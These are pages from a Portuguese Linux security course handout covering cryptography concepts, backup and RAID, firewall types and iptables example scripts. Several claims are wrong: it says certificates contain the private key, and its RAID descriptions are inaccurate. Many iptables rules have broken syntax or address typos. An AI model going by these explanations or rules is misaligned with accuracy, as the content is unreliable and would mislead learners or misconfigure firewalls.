
Estes sistemas fazem uso do sistema de chave pública apenas para realizarem o envio e troca de

chaves, para a transmissão de dados é utilizada a criptografia simétrica e a chave enviada anteriormente. O

Criptossistemas híbridos aproveitam o melhor das duas tecnologias. Um exemplo de sistema híbrido é o

implementado pelo protocolo “HTTPS”, largamente usado em e-commerce.

Exemplo de funcionamento .......

4.3) Outros recursos dos criptossistemas

Além da confidenciabilidade, os criptossistemas podem ser estilizados para a autenticação,

verificação de integridade e reconhecimento.

1) Autenticação – permite garantir que uma pessoa é quem realmente afirma ser;

2) Integridade – garante que os dados não foram alterados durante a transmissão;

3) Reconhecimento – garante que o emissor de dados é uma pessoa específica, e que o

destinatário realmente recebeu os dados. Impede o repúdio de informações.

4.3.1)Métodos de segurança que utilizam criptografia

Atualmente a criptografia está sendo largamente utilizada para proteger de várias formas os dados

que estão em trânsito pela rede ou armazenados nos discos óticos e magnéticos das máquinas. Dentre os

métodos atualmente disponíveis podemos destacar:

4.3.1.1)Função de Hash Unidirecional:

1) Permite verificar a integridade de uma mensagem ou bloco de dados;

2) É um valor exclusivo a mensagem;

3) Serve como impressão digital;

4) A mensagem original não pode ser derivada a partir do Hash

Dentre os algoritmos que fazem uso desta técnica podemos destacar: Secure Hash Algorithm –

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 1919 de de 7171

Page 20: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

1 (SHA – 1), RIPEM, MD5 e HAVAL.

4.3.1.2) Código de Autenticação de mensagem (MACs):

1) Garante a autenticação e integridade dos dados;

2) Hash Unidirecional + chave secreta;

3) Semelhante a criptografia simétrica;

4) Não se preocupam em manter os dados secretos ou sua integridade.

4.3.1.3) Assinaturas Digitais:

Permite que o destinatário de uma mensagem digital possa verificar a autenticidade do seu

remetente. E que a mensagem não foi de forma alguma alterada durante o processo de transferência, visto

que uma assinatura digital que tenha sido verificada não pode ser negada, ela fornece um elevado nível de

confiança no processo de transações eletrônicas e autenticação de documentos digitais.

O processo das Assinaturas Digitais se baseia na existência de duas chaves, uma pública e uma

privada. Neste caso, o remetente codifica a mensagem utilizando a sua chave privada e somente o usuário

que possui a sua chave pública poderá ler a mensagem.

Uma assinatura digital possui as seguintes propriedades:

1. Garante a Autenticidade;

2. Não pode ser forjada;

3. Não é reutilizável;

4. Não pode ser repudiada.

5. Válida certificados;

6. Pode ser utilizada em assinaturas eletrônicas;

7. Autentica, verifica a integridade e faz o reconhecimento de mensagem;

8. Pode ser utilizada como Hash de um documento;

Algoritmos:

1) RSA;

2) Digital Signature Algotithm (DSA);

3) Digital Signature Standard (DSS).

Usa a chave privada para assinar o documento, e o destinatário usa a sua chave pública para

verificar sua assinatura.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2020 de de 7171

Page 21: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

4.3.1.4) Certificados Digitais:

1) Permite reconhecer/validar certificados emitidos;

2) Verificação das chaves por um terceiro de confiança – autoridades de certificado (CAS);

3) Possuem uma taxa de ativação e validade;

4) Um certificado digital é composto: da chave privada e publica do indivíduo, mais a assinatura da

CA.;

5) Autoridades certificadoras: Versign, Inc; Secure Net Technologia;

6) Alguns governos, como Estados Unidos e Brasil, funcionam como certificadores;

7) Algumas instituições possuem sua própria autoridade, para codificação interna de dados.

4.3.1.5) Kerberos:

1) Serviço de autenticação (MIT);

2) Cifras para codificação e autenticação;

3) Constituído de um Banco de Dados de Cifra;

4) Após o login, gera e distribui as chaves de sessão;

5) Quando o autenticador é quebrado todo sistema pode entrar em colapso;

6) Não é indicado para uso entre domínios de segurança.

4.4 ) Principais Tipos de Ataques de Codificação

1) Ataque de texto conhecido - Baseia-se na suposição de uma vasta quantidade de textos cifrados e

das mensagens originais, a que a função do especialista, criptoanalista, é descobrir as chaves

utilizadas;

2) Ataque adaptativo do texto escolhido (adaptative – choosen – plaintext) – Neste segundo caso,

ele submete pequenos conjuntos de dados, obtém o resultado, analisa, fornece um novo conjunto e

assim sucessivamente, até que seja capaz de deduzir as chaves.

3) Ataque do texto cifrado escolhido (choosen – cyphertext) – o especialista possui uma vasta

gama de mensagem e os equivalentes dados cifrados, mas é capaz de produzir uma mensagem

criptografada específica para ser decifrada e obter o resultado produzido.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2121 de de 7171

Page 22: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

5) Backup

É através do processo de backup que podemos garantir a segurança de vários tipos de dados. Este

processo consiste em realizar uma cópia total ou parcial de forma on-line ou off-line dos dados armazenados

nas estações de trabalho e/ou nos servidores de um determinado ambiente.

Contudo, dependendo as características do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente, deste modo, se faz necessário o uso de critérios para

determinar a melhor forma para sua realização. Deste os critérios que podem influenciar o processo de

backup são:

1. A quantidade de dados a serem protegidos;

2. A freqüência com que os dados devem ser copiados;

3. Tempo de realização do backup e do restore dos dados;

4. A confidencialidade fornecida pelo processo;

5. O custo do processo e o valor das informações;

6. O prejuízo gerado pela perda parcial ou total dos dados.

5.1) Meios de armazenamento:

Definida as necessidades básicas a serem atendidas devemos selecionar um do tipos de

armazenamento, que podem ser: on-line, Próximos e off-line.

As mídias de armazenamento on-line, consiste em discos rígidos ou arrays de discos. Estas mídias

fornecem uma disponibilidade em tempo real e são normalmente utilizados para fornecer uma forma

altrnativa de armazenamento. Estas mídias não substituem os backups offline;

O armazenamento próximo é formado por “Jukeboxes” óticos e cópias locais, que estão

rapidamente acessíveis, normalmente fazem uso de robos para gerenciarem as mídias fornecendo um

acesso rápido aos dados quando o serviço on-line não está disponível;

Já o armazenamento off-line consiste no arquivamento de mídias fora da rede de dados em um local

seguro e protegido contra roubo, catástrofes naturais e outros ameças. Sempre que possível as mídias

devem ser armazenadas em local geográficamente diferente e fora das instalações comerciais da empresa.

Para a realização deste tipos de backup podem ser utilizadas três tipos de mídias diferentes:

fitas/discos magnéticos, armazenamento ótico e arrays de disco.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2222 de de 7171

Page 23: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

As fitas magnéticas são as mídias mais comuns, mais baratas utilizadas nos backups off-line, mas

por outro lado são as mais lentas e que ocupam um grande espaço. Seus principais tipos são: 8mm,

Travan, DLT, DAT e Magstar

O armazenamento ótico é muito popular em ambientes onde a velocidade e a confiabilidade são as

maiores preocupações, estes ambientes fazem uso de servidores com jukboxes óticos de alta

disponibilidade que são soluções caras porem muito eficientes.

Os arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) são um

subsistema de discos rígidos que melhoram o desempenho e a tolerância a falhas, uma vez que os dados

são gravados em mais de um disco ao mesmo tempo. Estas soluções podem ser tanto implementadas em

software quanto em hardware. Neste caso quando uma unidade de disco falha o administrador do sistema

pode substitui-la, em alguns casos, sem parar o funcionamento do servidor.

Os principais tipos de RAID são:

� RAID 0 : este nível realiza um “join” dos discos, ou seja, ele combina todos os

discos em uma única unidade lógica, útil quando desejamos aumentar a

capacidade de armazenamento de dados;

� RAID 1: realiza o espelhamento de um disco em um outro, nesta solução um

dos discos fica inativo, apenas recebendo os dados do disco mestre até que ele

falhe. Este nível oferece uma boa tolerância a falhas, visto que ao ocorrer a

falha de um disco os usuários são automaticamente redirecionados para o

antigo disco escravo;

� RAID 3: também implementa um espelhamento só que neste caso três ou mais

unidades de disco são espelhadas em uma outra, este nível também fornece

tolerância a falhas, uma vez que grava os bits de paridade em uma unidade

dedicada e permite que os discos trabalhem em paralelo, fornecendo assim alto

nível de desempenho;

� RAID 5: esta faz uso de três unidades, em duas são armazenados os dados e

na terceira os bits de paridade, sendo esta é a solução mais utilizada;

� RAID 10: é a combinação do RAID 1 e 0, ou seja, espelhamento e intercalação

entre unidade de disco.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2323 de de 7171

Page 24: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

A solução de RAID fornece um melhor desempenho e tolerância a falhas, mas de forma alguma

substituir o processo de backup off-line. Vale lembrar que dois ou mais discos podem falhar ao mesmo

tempo, perdendo o acesso total aos dados armazenados no array.

Outra solução de proteção aos dados é o HSM (Hierarchical Storage Management), que é um

sistema automatizado para o gerenciamento de dados e espaço em disco, muito utilizado em mainframes.

Esta solução monitora a capacidade das unidades e move os dados para as mídias de armazenamento

próximo ou offline, mais lentas.

O HSM pode mover os dados segundo sua idade, freqüência de uso ou baseado em outros critérios,

permitindo deste modo uma migração de dados automática. Esta solução é relativamente cara e difícil de

ser implementada.

Já as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade de

armazenamento, graças ao uso de um canal de fibra (fiberchannel), permite uma conexão de alta velocidade

e implementa uma subrede de armazenamento, com isto libera a rede de produção do peso do backup de

dados e economiza largura de banda . Além disto oferecem alta velocidade, confiabilidade e gerenciamento

centralizado.

Por outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidores

de arquivos, visto que estão conectados diretamente a rede ethernet e possuem sistemas operacionais

embutidos nos equipamentos. Esta estrutura é uma alternativa a inclusão de unidades de dados nos

servidores. Para garantir a segurança dos dados estes equipamentos implementas um dos níveis de RAID

estudados anteriormente, mas backups de grades volumes de dados podem afetar a velocidade da rede.

Esta solução é relativamente barata, simples e possui grande compatibilidade entre fornecedores.

5.2 ) Tipos de backup quanto ao período de execução e volume de dados

Dependendo de sua periodicidade o processo de backup pode ser nomeado como:

� Backup Completo: realiza uma cópia de todos os dados para a mídia, não importando

o conteúdo do último backup. Este tipo de backup normalmente possui periodicidade

semanal;

� Backup Incremental: salva os arquivos que foram alterados desde o último backup.

Neste processo o novo arquivo é armazenado na mídia e o arquivo original não é

removido da mídia. No processo de restauração devemos ter o último backup completo

e dos os backups incrementais desde então. Este tipo de backup possui periodicidade

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2424 de de 7171

Page 25: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

diária ou menor;

� Backup Delta: Só faz a cópia dos dados reais que foram modificados nos arquivos, é

um processo de backup mais rápido e que ocupa menos espaço nas mídias de backup,

contudo o processo de restauração é mais lento e complexo. Também possui

periodicidade diária ou menor;

� Backup Diferencial: Copia todos os arquivos que foram alterados desde o último

backup completo, por este motivo ocupa mais espaço nas mídias de backup e mais

lento de ser gerado, contudo é mais fácil de recupera-lo, sua execução

preferencialmente deve ser diária ou em intervalo menor. Para restaurar os dados a

partir deste tipo de backup deve-se ter em mãos apenas o último backup completo e o

último backup diferencial

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2525 de de 7171

Page 26: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6) Firewall

Várias pesquisas mostraram que a “Internet” é o principal ponto utilizado para realizar invasões. Em

2002, segundo uma pesquisa feita pela módulo, 43% das empresas sofreram algum tipo de ataque ou

invasão. Em 2003, esta valor subiu para 77%. E os hackers brasileiros são internacional considerados como

os melhores do mundo.

Outro fator importante é que “... quanto mais tempo ficamos conectados à internet, maiores são as

chances de sermos invadidos ou infectados por malwares ...”. Isto tudo pois o Ipv4, versão atualmente em

uso da pilha de protocolos TCP/IP, não foi projetado para assegurar a integridade das informações e realizar

o controle de acesso apropriado. Deste modo, a forma preferida de se violar uma rede tem sido o uso de

pequenas falhas na implementação de serviços e protocolos baseados no TCP/IP.

6.1) O papel do Firewall no contexto atual das redes de computadores

A principal função de um firewall é proteger os dados da rede interna, aquela que não está

conectada a internet, de ataques vindos da rede externa, normalmente a internet. Ou seja, tem por objetivo

impedir acessos lógicos não autorizados a um determinado ambiente.

Neste modelo, o firewall geralmente é a única máquina diretamente conectada a rede externa, mas

cada nó da rede pode e deve ter seu próprio firewall ativo, mas neste caso sua funcionalidade está restrita a

proteção local, incluindo possíveis infecções e proliferações de malwares na rede interna.

Outro uso freqüente dos firewalls é ser utilizado para filtrar quem pode acessar máquinas da rede

interna a partir da internet, este tipo de filtragem normalmente é baseada no endereço IP a origem da

conexão e em alguns casos em seu Mac Adress.

6.2) Histórico

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2626 de de 7171

Page 27: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6.3) Tipos de Firewall

Existem várias classificações para os firewalls, contudo as mais comuns são: Filtro de Pacotes,

Firewall NAT e Híbridos.

Os filtros de pacotes, realizam o controle de todo fluxo de dados direcionado ao host. Através da

análise dos cabeçalhos dos pacotes nos vários níveis da arquitetura de rede são capazes de comparar seus

conteúdos com regras de controle de acesso (ACLs) préviamente definidas e então liberar ou não

determinado fluxo de dados.

Já um firewall NAT manipula a rota padrão de pacotes que atravessam o kernel do host, ele realiza

a tradução dos endereços de origem, de destino e algumas vezes pode inclusive realizar um

redirecionamento de porta. Este firewall pode ser classificado como: SNAT, DNAT e Masquerading.

Um firewall SNAT normalmente é utilizado para fornecer acesso a uma rede privada apartir de um

ou vários endereços IP fixo. Já o Masquerading realiza a mesma função só que sobre endereços . E um

firewell baseado em DNAT pode ser utilizado na construção de uma DMZ ou de um cluster de servidores.

O terceiro tipo de firewall seria o híbrido, que é aquele que realiza tanto filtragem de pacote quando

redirecionamento (NAT).

Outra forma de classificação dos firewall é quanto sua forma de atuação dentro da pilha RM/OSI,

neste caso os firewalls podem ser classificados como de Rede ou Gateways de Aplicativos.

Os Firewalls de nível de Rede são na verdade roteadores com grande capacidade de filtragem de

pacote, permitem que haja uma restrição a nível de endereço, protocolo, número da porta e conteúdo. São

fácil implementação, porém quando mal configurados estão sujeitos a ataques do tipo spoofing. Mas a

filtragem normalmente impacta o processo de roteamento, de modo que podemos afirmar que: “o

desempenho do roteador é inversamente proporcional ao nível de filtragem imposta”

Já os firewalls gateways de aplicativo, normalmente funcionam como pontes entre duas redes, os

pacotes provenientes de fora da rede passam primeiro pelo gateways, que age como um filtro escondendo

assim a rede interna.

Todos os tipos de firewall possuem suas limitações, o de nível de rede possui uma visão muito

limitada do que realmente acontece na rede. Já os gateways de aplicativo tem um conhecimento maior

sobre a aplicação, porém são soluções específicas para cada aplicativo. Um dos firewalls de aplicativos

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2727 de de 7171

Page 28: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

mais conhecido é o SQUID, que foi projetado para manipular os protocolos HTTP, HTTPS e FTP.

6.4) IPTABLES: O firewall do Linux

Este software é a quarta geração de firewall no Linux e permite a realização da filtragem dos

pacotes nas sete camadas da RM/OSI, funcionando ainda como um firewall híbrido. As ACL utilizados por

ele estão todas armazenadas em memória, processo este que acelera os mecanismos de filtragem e

redirecionamento.

O iptables é um dos poucos firewalls em software totalmente implementado no kernel do sistema

operacional, garantindo assim maior nível de segurança a filtragem.

6.4.1) As tabelas o “iptables”

Para facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas, cada qual

com um função específica. As principais tabelas do iptables são:

� filter : responsável pela filtragem de todos os pacotes que passam pelo host, não

importando origem e destino;

� nat : responsável pelo controle dos pacotes que passam pelo host, mas cuja origem ou

destino não é o mesmo. Esta tabela é utilizada quando desejamos utilizar o iptables para

construir “gateways” de borda.

� mangle : permite alterar características específicas do pacote, como por exemplo: o

TOS (Tipo de Serviço) o que permite implementar um sistema simples de QOS

( qualidade de serviço).

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2828 de de 7171

Page 29: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6.4.2) Fluxos do “iptables”

O iptables permite manipular vários fluxos dependendo da tabela utilizada, sendo que a tabela “filter”

possui os seguintes:

� INPUT : fluxo formado pelos pacotes cujo endereço de destino é o próprio host;

� OUTPUT : fluxo dos pacotes originados pelos aplicativos e serviços hospedados no

host;

� FORWARD: fluxo composto por todos os pacotes que chegam ao host mas que são

destinados a outra máquina, que normalmente está na rede interna ou na DMZ. Logo

este fluxo é utilizado para permitir a realização do NAT;

A tabela “nat” por sua vez possui os seguintes fluxos:

� PREROUTING : que permite realizar alterações nos pacotes antes que eles sejam

roteados;

� POSROUTING : permite manipular os pacotes após seu processo de roteamento;

� OUTPUT : possibilita o redirecionamento dos pacotes que foram emitidos pelo host;

Já a tabela “mangle” possui os fluxos: PREROUTING E OUTPUT.

6.4.3) Comandos do “iptables”

Para a manipulação das ACLs armazenadas nas suas tabelas o iptables fornece os seguintes

comandos:

-A : adiciona uma nova regra no final da lista de regras de uma dada tabela;

-L : lista todas as regras de uma determinada tabela;

-P : define a política padrão uma tabela, ou seja a regra padrão que será aplicada a um

fluxo quando ele passar por todas as demais;

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 2929 de de 7171

Page 30: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

-F : remove todas as regras de uma tabela sem alterar sua política padrão;

-N : cria nova nova “chain” na tabela especificada;

-X : apaga todas as “chains” de uma determinada tabela;

6.4.4) Ações do “iptables”

As ações permitem categorizar melhor as ACLs, fornecendo um tratamento mais detalhado sobre

quais pacotes deverão ser manipulados. As principais ações fornecidas pelo iptables são listadas abaixo:

-p : especifica qual protocolo será manipulado (TCP, UDP ICMP, etc..);

-i : especifica a interface pela qual o pacote deve entrar (eth0, eth1, ppp0, ppp+);

-o : especifica a interface pela qual o pacote deve sair (eth0, eth1, ppp0, ppp+);

-s : informa a origem do pacote, este valor pode ser um endereço ip (192.168.254.15),

pode ser uma classe ip (192.168.254.254/24), pode ser um nome de maquina

(ftp.cyberoots.com.br) ou um domínio ( cyberoots.com.br );

--sport : informa a porta a partir da qual o pacote será enviado, porta de origem;

-d : informa o destino do pacote;

--dport : informa a porta de destino do pacote;

-j : informa o de deve ser feito com o pacote, ou seja o alvo da regra.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3030 de de 7171

Page 31: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6.4.5) Alvos da regras

Quando um fluxo se enquadra em todos os quesitos especificados por uma regra, ele poderá entrar

na máquina, ser rejeitado ou outras ações poderão ser realizadas, a estas ações damos o nome de alvo da

regra ou fluxo. Os principais alvos implementados pelo iptables são:

ACCEPT : permite a entrada ou a saída ou o forward do pacote;

DROP : descarta o pacote, sem comunicar a origem que o mesmo foi rejeitado, ideal

para ocultar a existência do firewall;

REJECT : descarta o pacote informando a origem que ele foi rejeitado pelo destino;

LOG : registra o pacote em um arquivo de log que pode ser especificado através dos

níveis de log do sistema, mas por default as mensagens são enviadas para o arquivo

“/var/log/messages”;

SNAT : altera o endereço de origem do pacote que atendeu as características

especificadas;

DNAT : altera o endereço de destino do pacote;

REDIRECT : redireciona o pacote para uma porta diferente.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3131 de de 7171

Page 32: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6.4.5) Exemplos de scripts de Firewall

(a) Firewall para bloquear todo o fluxo de dados só liberando o fluxo na interface lo

#

# definindo as regras padrão

#

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

#

# liberando a interface lo

#

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

(b) Firewall para liberar o acesso no servidor web aos protocolos http e https:

#

# definindo as regras padrão

#

iptables -P INPUT DROP

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

#

# definindo as regras de filtragem ao HTTP e HTTPS

#

iptables -A INPUT -p tcp –dport 80 -j ACCEPT

iptables -A INPUT -p tcp –dport 443 -j ACCEPT

(c) Firewall para liberar o acesso serviço http, para acesso externo ( eth1) e acesso pela intranet (eth0) na

porta 8080.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3232 de de 7171

Page 33: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

#

# definindo as regras padrão

#

iptables -P INPUT DROP

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

#

# definindo as regras de filtragem ao HTTP e HTTPS

#

iptables -A INPUT -p tcp –dport 80 -i eth1 -j ACCEPT

iptables -A INPUT -p tcp –dport 443 -i eth0 -j ACCEPT

(d) Firewall para um servidor que hospeda os serviços: http (80), https (443), imap (143), pop3 (110), smtp

(25), ftp (21), ssh (22). De tal modo que, todos os serviços possam ser acessados pela intranet (eth1) e os

únicos serviços que podem ser acessados pela internet (eth0) são o http e o https.

#

# definindo as regras padrão

#

iptables -P INPUT DROP

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

#

# liberando acesso pela internet (eth0)

#

iptables -A INPUT -p tcp –dport 80 -i eth0 -j ACCEPT

iptables -A INPUT -p tcp –dport 443 -i eth0 -j ACCEPT

#

# liberando acesso pela internet (eth1)

#

iptables -A INPUT -p tcp –dport 80 -i eth1 -j ACCEPT

iptables -A INPUT -p tcp –dport 443 -i eth1 -j ACCEPT

iptables -A INPUT -p tcp –dport 143 -i eth1 -j ACCEPT

iptables -A INPUT -p tcp –dport 110 -i eth1 -j ACCEPT

iptables -A INPUT -p tcp –dport 25 -i eth1 -j ACCEPT

iptables -A INPUT -p tcp –dport 21 -i eth1 -j ACCEPT

iptables -A INPUT -p tcp –dport 22 -i eth1 -j ACCEPT

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3333 de de 7171

Page 34: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

(e) Firewall para um servidor que:� proiba que qualquer pacote oriundo de nossa LAN (192.168.254.0/24) possa ser direcionado ao

site “www.sexo.com.br”;� proiba que qualquer pacote oriundo do host “www.cracker.com” possa penetrar na nossa rede;� permitir a entrada de pacotes oriundos do site “www.cyberoots.org.br” na nossa rede;� todos os pacotes oriundos da interface “eth1” do firewall devem ser redirecionados para o

computador 192.168.254.254;� todos os pacotes que desejam sair (eth0) da rede local para outra rede, tenham seus endereços

de origem alterados para 146.164.32.90;� todos os pacotes que tentam entrar na rede por uma interface diferente da “eth0” devem ser

descartados; o mesmo deve ocorrer com qualquer pacote que tente sair por uma interface

diferente da “eth2”;� descarte todos os pacotes oriundos do ip 200.255.96.171 e destinado ao IP 192.168.254.7;� todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormente

descartados;

# política padrão

#

iptables -P INPUT DROP

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

#

# liberando o tráfego na interface lo

#

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

#

# pacotes que entram no firewall

#

iptables -A INPUT -p tcp - -dport 23 -j LOG “ [firewall] acesso ao serviço de telnet”

iptables -A INPUT -p tcp - -dport 23 -j DROP

#

# regras de forward

#

iptables -A FORWARD -s 192.158.254.0/24 -d www.sexo.com.br -j DROP

iptables -A FORWARD -d 192.158.254.0/24 -s www.cyberoots.org.br -j ACCEPT

iptables -A FORWARD -s 200.255.96.171 -d 192.168.254.7 -j DROP

iptables -A FORWARD -i ! eth1 -j DROP

iptables -A FORWARD -o ! eth0 -j DROP

#

# regras de nat

#

iptables -t nat -A PREROUTING -i eth1 -j DNAT 192.168.254.15

iptables -t nat -A POSTROUTING -o eth1 -j SNAT 192.168.254.1

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3434 de de 7171

Page 35: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

6.4.6) Alguns Fluxos de NAT

Para acessos à internet através de uma conexão discada ou banda larga, que não fornece endereço

fixo podemos utilizar a regra abaixo:

iptables -t nat -A POSTROUTING -o ppp -j MASQUERADE

Já para conexão à internet através de um endereço IP fixo e conhecido podemos utilizar uma regra

como a que está abaixo:

iptables -t nat -A POSTROUTING -s 10.10.0.0/24 -o eth0 -j SNAT - -to 146.164.32.67

Outra regra muito comum é aquela usada para redirecionar uma conexão vinda da internet para a DMZ, como

mostra a figura abaixo:

iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 10.10.0.1

6.4.7) Regras e configurações úteis

a) Habilitando o forward no kernel do Linux

Para permitir que o iptables instalado em uma distribuição Linux faça forward de pacotes esta

funcionalidade deve estar ativa no kernell do sistema, para tal podemos utilizar a seguinte linha de comando:

echo “1” > /proc/sys/net/ipv4/ip_forward

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 3535 de de 7171

Page 36: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 do

comando a cima, ou seja :

echo “0” > /proc/sys/net/ipv4/ip_forward

b) Qualquer pacote cuja origem é o host 10.0.3.1 deverá ter seu endereço de origem alterado para

192.11.22.33:

iptables -t nat -A POSTROUTING -s 10.0.3.1 -o eth0 -j SNAT - -to 192.11.22.33

c) Qualquer pacote cuja origem é a rede 10.0.3.0/8 deve ter seu endereço de origem alterado para

192.11.22.33:

iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33

d) Qualquer pacote cuja origem é a rede 10.0.3.0/8 que sai pela interface eth0 deve ter seu endereço de

origem alterado para qualquer um do intervalo 192.11.22.33-192.11.22.66:

iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33-192.11.22.66

e) Qualquer pacote que venha do host 10.0.3.1 e entre na máquina pela interface eth0 deve ser

redirecionado para o endereço 192.11.22.33:

iptables -t nat -A PREROUTING -s 10.0.3.1 -i eth0 -j DNAT - -to 192.11.22.33

f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereços do

intervalo: 192.11.22.10 até 192.11.22.33:

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192.11.22.10-192.11.22.33

g) Todos os pacotes que entram pela interface eth2 e são destinados a porta 22 deve ser redirecionados

para o host 192.11.22.1:

iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 192.11.22.1

h) Criando um proxy transparente :

iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128

iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128

iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128

